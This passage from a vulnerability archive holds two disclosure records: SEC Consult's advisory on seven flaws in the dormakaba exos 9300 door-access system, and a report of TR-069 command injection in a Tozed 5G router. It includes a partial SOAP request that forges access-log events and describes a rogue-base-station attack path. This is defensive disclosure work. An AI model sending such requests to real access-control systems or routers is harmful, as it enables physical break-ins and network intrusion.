- 2x Coax (Used to connect registration units e.g. 9001, 9002)
The tested hardware was an access manager 9200-k5 running Windows CE embedded,
and an access manager 9200-k7 running Linux.
------------------------------
dormakaba Registration Unit
------------------------------
dormakaba registration units can be either a Legic/Mifare card reader,
or a PIN pad used to enter a PIN to deactivate alarming systems, or as
an additional authentication.
------------------------------
Electric lock
------------------------------
The lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock
is simply controlled via a relay contact connected to the access manager. As
soon as a user successfully authenticates with a registration unit,
the relay connected to the lock is switched and the door opens.
The system is depicted in the following diagram.
┌─────────┐
│ │
│exos 9300│ ┌──────────┐ ┌──────────┐
│ │ │ Reg Unit │ │ Pin Pad │
└────┬────┘ │ ┌──┐ │ │ x x x │
│ │ │┼┼│ │ │ x x x │
Ethernet──────►│ │ └──┘ │ │ x x x │
│ │ 9001 │ │ 9002 │
┌────┴────┐ └─────┬────┘ └─────┬────┘
│ Access │ │ │
│ Manager ├────────────────────┴─────────────┘
│ 9200 │ ▲
└────┬────┘ │
│ Coax
│
DC Relay───► │
│
┌──┴──┐
│ │
│ │
│ │
│ ─┤◄──────Electric Lock
│ │
│ │
└─────┘
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated SOAP API (CVE-2025-59090)
On the exos 9300 server, a SOAP API is reachable on port 8002. This API does not
require any authentication prior to sending requests. Therefore, network access
to the exos server allows e.g. the creation of arbitrary access log events as well
as querying the 2FA PINs associated with the enrolled chip cards.
2) Hardcoded Legacy Accounts Allowing Control Over Access Managers (CVE-2025-59091)
Multiple hardcoded credentials have been identified, which are allowed to sign-in
to the exos 9300 datapoint server running on port 1004 and 1005. This server is
used for relaying status information from and to the access manager. This information,
among other things, is used to graphically visualize open doors and alerts. However,
controlling the access managers via this interface is also possible.
To send and receive status information, authentication is necessary. The Kaba exos 9300
application contains hard-coded credentials for four different users, which are
allowed to login to the datapoint server and receive as well as send information,
including commands to open arbitrary doors.
3) Unauthenticated RPC Service (CVE-2025-59092)
An RPC service, which is part of exos 9300, is reachable on port 4000, run by
the process FSMobilePhoneInterface.exe. This service is used for interprocess
communication between services and the Kaba exos 9300 GUI, containing status
information about the access managers. Interacting with the service does not
require any authentication. Therefore, it is possible to send arbitrary status
information about door contacts etc. without prior authentication.
4) Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)
Exos 9300 instances are using a randomly generated database password to connect
to the configured MSSQL server. The password is derived from static random values,
which are concatenated to the hostname and a random string that can be read by
every user from the registry. This allows an attacker to derive the database
password and get authenticated access to the central exos 9300 database as the
user "Exos9300Common". The user has the roles "ExosDialog" and "ExosDialogDotNet"
assigned, which are able to read most tables of the database as well as update
and insert into many tables.
5) Local Privilege Escalation in exos 9300 System management (CVE-2025-59094)
A local privilege escalation vulnerability has been identified in the
Kaba exos 9300 System management application (d9sysdef.exe). Within this
application it is possible to specify an arbitrary executable as well as
the weekday and start time, when the specified executable should be run
with SYSTEM privileges.
6) Hard-coded Key for PIN Encryption (CVE-2025-59095)
The program libraries (DLL) and binaries used by exos 9300 contain multiple
hard-coded secrets. One notable example is the function "EncryptAndDecrypt"
in the library Kaba.EXOS.common.dll. This algorithm uses a simple XOR encryption
technique combined with a cryptographic key (cryptoKey) to transform each
character of the input string. However, it's important to note that this
implementation does not provide strong encryption and should not be considered
secure for sensitive data. It's more of a custom encryption approach rather
than a common algorithm used in cryptographic applications. The key itself is
static and based on the founder's name of the company. The functionality is
for example used to encrypt the user PINs before storing them in the MSSQL
database.
7) Weak Default Password (CVE-2025-59096)
The default password for the extended admin user mode in the application
U9ExisAdmin.exe ("Kaba 9300 Administration") is hard-coded in multiple
locations as well as documented in the locally stored user documentation.
Proof of concept:
-----------------
1) Unauthenticated SOAP API (CVE-2025-59090)
To create arbitrary access log entries, the following request can be sent
to the exos 9300 server on port 8002:
------Request--------
POST /IIdmm2CommunicationHubService HTTP/1.1
Host: <exos IP>:8002
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8;
action="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent";
Content-Length: 984
Connection: keep-alive
SOAPAction:"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent";
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope";
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding";
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xmlns:xsd="http://www.w3.org/2001/XMLSchema";
xmlns:arr="http://schemas.microsoft.com/2003/10/Serialization/Arrays";
xmlns:ns2="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService";
xmlns:ns1="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService";>
<SOAP-ENV:Body>
<ns1:SetAccessEvent>
<ns1:identifier>I010001</ns1:identifier>
<ns1:accessEvent>
<ns1:BadgeNr>00000000000000061337</ns1:BadgeNr>
<ns1:DeviceStatus>1</ns1:DeviceStatus>
<ns1:EventId>10</ns1:EventId>
<ns1:LogDate>2025-01-01T13:37:00.0000000</ns1:LogDate>
<ns1:RegistrationUnitInd
Severity
No CVSS data available.
Assigner
References
23 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dormakaba | SEC Consult SA-20260126-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0190 (this record)
- related CVE-2025-59090
- related CVE-2025-59091
- related CVE-2025-59092
- related CVE-2025-59093
- related CVE-2025-59094
- related CVE-2025-59095
- related CVE-2025-59096
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260126-0",
"vendor": "Dormakaba",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260126-0 \u003e\n=======================================================================\n title: Multiple Critical Vulnerabilities\n product: dormakaba Kaba exos 9300\n vulnerable version: \u003c 4.4.1\n fixed version: 4.4.1\n CVE number: CVE-2025-59090, CVE-2025-59091, CVE-2025-59092\n CVE-2025-59093, CVE-2025-59094, CVE-2025-59095\n CVE-2025-59096\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n homepage:https://www.dormakaba.com/\n found: 2024-03-18\n by: Clemens Stockenreitner (Office Vienna)\n Werner Schober (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Kaba exos 9300 basic system is the cornerstone of your access\nmanagement solution. Use it to resolves all your basic employees,\nsystem, user and peripheral management tasks and initiate targeted\nsecurity measures as required. [...] \"\n\nSource:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides multiple patches which should be installed immediately.\nMore details can be found at the following locations:\n- Solution at the end of this advisory\n- SEC Consult blog post:https://r.sec-consult.com/dormakaba\n- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories\n- Your dormakaba partner\n\n\nTested Architecture Overview\n-----------------------------------\nThe tested system is the enterprise grade physical access system from\ndormakaba. The tested system consists of the following components:\n\n------------------------------\ndormakaba exos 9300\n------------------------------\nExos 9300 is a piece of software based on C# running on a central Windows server with\nan MSSQL, or Oracle database as central storage.\nExos consists of multiple modules (e.g. basis, employee management, key depot, access,\nvisitor management, 3rd party management). Exos is used to centrally manage users,\nkeys, cards as well as the configuration of the access manager. Devices in the\nexos environment are addressed using a special addressing scheme. The address scheme\ndescribed in the following table is going to be important.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 I \u2502 01 \u2502 00 \u2502 01 \u2502 \n 00 \u2502 00 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Port Type \u2502 Communication Hub Address \u2502 Port Address \u2502 Access Hub Address \u2502 00 = \nDoor Manager \u2502 Datapoint Address \u2502\n\u2502 I = Access Manager \u2502 Values: 01-99 \u2502 Values: 00-99 \u2502 Values: 00-99 \u2502 01 = \nAccess Point \u2502 Values: 00-20 \u2502\n\u2502 B = Serial \u2502 \u2502 \u2502 Fixed to 01 for Access Hubs with Ethernet \u2502 02 = \nTurnstile \u2502 \u2502\n\u2502 C = Modem \u2502 \u2502 \u2502 \u2502 03 = IO \nController \u2502 \u2502\n\u2502 E = Ethernet \u2502 \u2502 \u2502 \u2502 Fixed to \n00 in most cases \u2502 \u2502\n\u2502 R = remote \u2502 \u2502 \u2502 \u2502 \n \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n------------------------------\ndormakaba Access Manager\n------------------------------\nThe access manager is a component that is configured via exos. The configuration\nbetween exos and access manager is exchanged via a SOAP interface. Per default\nthe data exchange is unencrypted. Encryption is only available starting with\naccess manager hardware release K7.\n\nThe access manager is a custom piece of hardware with multiple inputs and outputs.\nThe device offers the following interfaces:\n- Digital Inputs\n- 3x DC Output Relays\n- 2x RS-232\n- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)\n- 1x RJ45\n- 1x Micro USB\n- 2x Coax (Used to connect registration units e.g. 9001, 9002)\n\nThe tested hardware was an access manager 9200-k5 running Windows CE embedded,\nand an access manager 9200-k7 running Linux.\n\n------------------------------\ndormakaba Registration Unit\n------------------------------\ndormakaba registration units can be either a Legic/Mifare card reader,\nor a PIN pad used to enter a PIN to deactivate alarming systems, or as\nan additional authentication.\n\n------------------------------\nElectric lock\n------------------------------\nThe lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock\nis simply controlled via a relay contact connected to the access manager. As\nsoon as a user successfully authenticates with a registration unit,\nthe relay connected to the lock is switched and the door opens.\n\nThe system is depicted in the following diagram.\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502\n \u2502exos 9300\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 \u2502 Reg Unit \u2502 \u2502 Pin Pad \u2502\n \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2510 \u2502 \u2502 x x x \u2502\n \u2502 \u2502 \u2502\u253c\u253c\u2502 \u2502 \u2502 x x x \u2502\nEthernet\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2514\u2500\u2500\u2518 \u2502 \u2502 x x x \u2502\n \u2502 \u2502 9001 \u2502 \u2502 9002 \u2502\n \u250c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n \u2502 Access \u2502 \u2502 \u2502\n \u2502 Manager \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 9200 \u2502 \u25b2\n \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 Coax\n \u2502\n DC Relay\u2500\u2500\u2500\u25ba \u2502\n \u2502\n \u250c\u2500\u2500\u2534\u2500\u2500\u2510\n \u2502 \u2502\n \u2502 \u2502\n \u2502 \u2502\n \u2502 \u2500\u2524\u25c4\u2500\u2500\u2500\u2500\u2500\u2500Electric Lock\n \u2502 \u2502\n \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2518\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated SOAP API (CVE-2025-59090)\nOn the exos 9300 server, a SOAP API is reachable on port 8002. This API does not\nrequire any authentication prior to sending requests. Therefore, network access\nto the exos server allows e.g. the creation of arbitrary access log events as well\nas querying the 2FA PINs associated with the enrolled chip cards.\n\n2) Hardcoded Legacy Accounts Allowing Control Over Access Managers (CVE-2025-59091)\nMultiple hardcoded credentials have been identified, which are allowed to sign-in\nto the exos 9300 datapoint server running on port 1004 and 1005. This server is\nused for relaying status information from and to the access manager. This information,\namong other things, is used to graphically visualize open doors and alerts. However,\ncontrolling the access managers via this interface is also possible.\nTo send and receive status information, authentication is necessary. The Kaba exos 9300\napplication contains hard-coded credentials for four different users, which are\nallowed to login to the datapoint server and receive as well as send information,\nincluding commands to open arbitrary doors.\n\n3) Unauthenticated RPC Service (CVE-2025-59092)\nAn RPC service, which is part of exos 9300, is reachable on port 4000, run by\nthe process FSMobilePhoneInterface.exe. This service is used for interprocess\ncommunication between services and the Kaba exos 9300 GUI, containing status\ninformation about the access managers. Interacting with the service does not\nrequire any authentication. Therefore, it is possible to send arbitrary status\ninformation about door contacts etc. without prior authentication.\n\n4) Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)\nExos 9300 instances are using a randomly generated database password to connect\nto the configured MSSQL server. The password is derived from static random values,\nwhich are concatenated to the hostname and a random string that can be read by\nevery user from the registry. This allows an attacker to derive the database\npassword and get authenticated access to the central exos 9300 database as the\nuser \"Exos9300Common\". The user has the roles \"ExosDialog\" and \"ExosDialogDotNet\"\nassigned, which are able to read most tables of the database as well as update\nand insert into many tables.\n\n5) Local Privilege Escalation in exos 9300 System management (CVE-2025-59094)\nA local privilege escalation vulnerability has been identified in the\nKaba exos 9300 System management application (d9sysdef.exe). Within this\napplication it is possible to specify an arbitrary executable as well as\nthe weekday and start time, when the specified executable should be run\nwith SYSTEM privileges.\n\n6) Hard-coded Key for PIN Encryption (CVE-2025-59095)\nThe program libraries (DLL) and binaries used by exos 9300 contain multiple\nhard-coded secrets. One notable example is the function \"EncryptAndDecrypt\"\nin the library Kaba.EXOS.common.dll. This algorithm uses a simple XOR encryption\ntechnique combined with a cryptographic key (cryptoKey) to transform each\ncharacter of the input string. However, it\u0027s important to note that this\nimplementation does not provide strong encryption and should not be considered\nsecure for sensitive data. It\u0027s more of a custom encryption approach rather\nthan a common algorithm used in cryptographic applications. The key itself is\nstatic and based on the founder\u0027s name of the company. The functionality is\nfor example used to encrypt the user PINs before storing them in the MSSQL\ndatabase.\n\n7) Weak Default Password (CVE-2025-59096)\nThe default password for the extended admin user mode in the application\nU9ExisAdmin.exe (\"Kaba 9300 Administration\") is hard-coded in multiple\nlocations as well as documented in the locally stored user documentation.\n\n\nProof of concept:\n-----------------\n1) Unauthenticated SOAP API (CVE-2025-59090)\nTo create arbitrary access log entries, the following request can be sent\nto the exos 9300 server on port 8002:\n------Request--------\nPOST /IIdmm2CommunicationHubService HTTP/1.1\nHost: \u003cexos IP\u003e:8002\nUser-Agent: gSOAP/2.8\nContent-Type: application/soap+xml; charset=utf-8; \naction=\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\";\nContent-Length: 984\nConnection: keep-alive\nSOAPAction:\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\";\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cSOAP-ENV:Envelope\n xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\";\n xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\";\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\";\n xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\";\n xmlns:arr=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\";\n xmlns:ns2=\"http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\";\n xmlns:ns1=\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService\";\u003e\n \u003cSOAP-ENV:Body\u003e\n \u003cns1:SetAccessEvent\u003e\n \u003cns1:identifier\u003eI010001\u003c/ns1:identifier\u003e\n \u003cns1:accessEvent\u003e\n \u003cns1:BadgeNr\u003e00000000000000061337\u003c/ns1:BadgeNr\u003e\n \u003cns1:DeviceStatus\u003e1\u003c/ns1:DeviceStatus\u003e\n \u003cns1:EventId\u003e10\u003c/ns1:EventId\u003e\n \u003cns1:LogDate\u003e2025-01-01T13:37:00.0000000\u003c/ns1:LogDate\u003e\n \u003cns1:RegistrationUnitInd"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:31:52Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/22"
},
{
"url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\""
},
{
"url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService\""
},
{
"url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson\""
},
{
"url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\""
},
{
"url": "http://schemas.microsoft.com/2003/10/Serialization/Arrays\""
},
{
"url": "http://www.w3.org/2001/XMLSchema\""
},
{
"url": "http://www.w3.org/2001/XMLSchema-instance\""
},
{
"url": "http://www.w3.org/2003/05/soap-encoding\""
},
{
"url": "http://www.w3.org/2003/05/soap-envelope\""
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://r.sec-consult.com/dormakaba"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dormakaba.com/"
},
{
"url": "https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000"
},
{
"url": "https://www.dormakabagroup.com/en/security-advisories"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/22"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260126-0 :: Multiple Critical Vulnerabilities in dormakaba Kaba exos 9300",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-59090",
"type": "related"
},
{
"destId": "CVE-2025-59091",
"type": "related"
},
{
"destId": "CVE-2025-59092",
"type": "related"
},
{
"destId": "CVE-2025-59093",
"type": "related"
},
{
"destId": "CVE-2025-59094",
"type": "related"
},
{
"destId": "CVE-2025-59095",
"type": "related"
},
{
"destId": "CVE-2025-59096",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0190",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/22",
"automated": true,
"contentSha256": "12b4aaf996246ad094c3f964daefe5f4d02a99bdadb4812f6683e101abe33c1c",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-26T10:21:32Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0190"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-09T13:31:52Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0190"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0306
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE — Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)
Summary
Tozed ZLT X300 5G CPE Router firmware 6.01.3 contains an OS command
injection vulnerability (CWE-78) in the TR-069/CWMP client daemon
(netcwmpd). The IPPingDiagnostics Host parameter is passed unsanitized into
sprintf, which constructs a shell command executed via system_by_root() as
root.
An attacker operating a rogue LTE base station using SDR hardware (~$300)
can impersonate the carrier's Auto Configuration Server and inject
arbitrary shell commands as root. No authentication, user interaction, or
physical access is required.
2. CVE ID: CVE-2026-2035703
CVSS: 9.8 (Critical)
CWE: CWE-78 (OS Command Injection)
3. AFFECTED PRODUCT
Vendor: Tozed Kangwei Tech Co., Ltd (Shenzhen, China)
Product: ZLT X300 / X300A 5G CPE Router
Firmware: 6.01.3 (all versions believed affected)
Architecture: aarch64 (MediaTek MT7992, OpenWrt 23.05.5)
4. VULNERABLE CODE (IDA Pro decompilation, netcwmpd at 0x463E6C)
sprintf(cmd,
"ping%s -c %d -s %d -W %u%s \"%s\" > /tmp/.tr069_pingtest.log",
ipv4_flag, repetitions, block_size, timeout, interface,
HOST); // unsanitized TR-069 parameter
Execution chain:
sprintf (0x463E6C) -> sub_5BA8C4 (opcode 0x13)
-> sub_5BC23C (service_shell handler)
-> sub_5BBC88 -> system_by_root(cmd)
5. ATTACK VECTOR
Rogue LTE eNodeB (srsRAN + USRP/ANTSDR, ~$300) within
radio range impersonates carrier ACS, sends TR-069
SetParameterValues with injected Host parameter.
6. IMPACT
- Full root compromise (uid=0, gid=0)
- Mass surveillance, DNS hijacking, traffic interception
- Credential theft (WiFi, TR-069, IMEI)
- Persistent backdoor installation
- Lateral movement to all LAN devices
7. AFFECTED CARRIERS (partial list)
du (UAE), STC/Mobily (Saudi Arabia), EE/O2/Three (UK),
Telekom (Germany), Orange/SFR (France), Singtel (Singapore),
MTN (South Africa/Nigeria), and others in 15+ countries.
8. VENDOR RESPONSE
Vendor has no PSIRT. Refused to engage after multiple
disclosure attempts. Claimed fix without evidence.
ZTE PSIRT confirmed: "not our product."
9. COORDINATION
CERT/CC: VRF#26-09-VVTLF
ZDI: Case danish11620001
aeCERT: Notified
CISA: Notified
10. ADVISORY
https://github.com/danish1162/CVE-2026-2035703-x300/security/advisories/GHSA-qcpp-vfr2-v242
11. TIMELINE
2026-08-14 Reported to vendor (global_marketing () gztozed com)
2026-08-22 Vendor claimed "fixed" — no evidence
2026-08-27 Vendor refused further engagement
2026-08-29 Public disclosure via GitHub Security Advisory
2026-09-05 Full disclosure
12. CREDIT
Muhammad Nadeem Danish (danish1162)
https://hackerone.com/danish1162
https://github.com/danish1162
13. TESTING ENVIRONMENT
All live testing in private lab (Pakistan), sysmocom test
SIM (IMSI 999, ITU reserved), Band 7 (unoccupied).
No live commercial network affected.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Tozed Kangwei Tech Co., Ltd (Shenzhen, China) | ZLT X300 / X300A 5G CPE Router |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "ZLT X300 / X300A 5G CPE Router",
"vendor": "Tozed Kangwei Tech Co., Ltd (Shenzhen, China)",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Surf free"
}
],
"descriptions": [
{
"lang": "en",
"value": "Tozed ZLT X300 5G CPE Router firmware 6.01.3 contains an OS command\ninjection vulnerability (CWE-78) in the TR-069/CWMP client daemon\n(netcwmpd). The IPPingDiagnostics Host parameter is passed unsanitized into\nsprintf, which constructs a shell command executed via system_by_root() as\nroot.\n\n\nAn attacker operating a rogue LTE base station using SDR hardware (~$300)\ncan impersonate the carrier\u0027s Auto Configuration Server and inject\narbitrary shell commands as root. No authentication, user interaction, or\nphysical access is required.\n\n\n2. CVE ID: CVE-2026-2035703\n\n CVSS: 9.8 (Critical)\n\n CWE: CWE-78 (OS Command Injection)\n\n\n3. AFFECTED PRODUCT\n\n Vendor: Tozed Kangwei Tech Co., Ltd (Shenzhen, China)\n\n Product: ZLT X300 / X300A 5G CPE Router\n\n Firmware: 6.01.3 (all versions believed affected)\n\n Architecture: aarch64 (MediaTek MT7992, OpenWrt 23.05.5)\n\n\n4. VULNERABLE CODE (IDA Pro decompilation, netcwmpd at 0x463E6C)\n\n\n sprintf(cmd,\n\n \"ping%s -c %d -s %d -W %u%s \\\"%s\\\" \u003e /tmp/.tr069_pingtest.log\",\n\n ipv4_flag, repetitions, block_size, timeout, interface,\n\n HOST); // unsanitized TR-069 parameter\n\n\n Execution chain:\n\n sprintf (0x463E6C) -\u003e sub_5BA8C4 (opcode 0x13)\n\n -\u003e sub_5BC23C (service_shell handler)\n\n -\u003e sub_5BBC88 -\u003e system_by_root(cmd)\n\n\n5. ATTACK VECTOR\n\n Rogue LTE eNodeB (srsRAN + USRP/ANTSDR, ~$300) within\n\n radio range impersonates carrier ACS, sends TR-069\n\n SetParameterValues with injected Host parameter.\n\n\n6. IMPACT\n\n - Full root compromise (uid=0, gid=0)\n\n - Mass surveillance, DNS hijacking, traffic interception\n\n - Credential theft (WiFi, TR-069, IMEI)\n\n - Persistent backdoor installation\n\n - Lateral movement to all LAN devices\n\n\n7. AFFECTED CARRIERS (partial list)\n\n du (UAE), STC/Mobily (Saudi Arabia), EE/O2/Three (UK),\n\n Telekom (Germany), Orange/SFR (France), Singtel (Singapore),\n\n MTN (South Africa/Nigeria), and others in 15+ 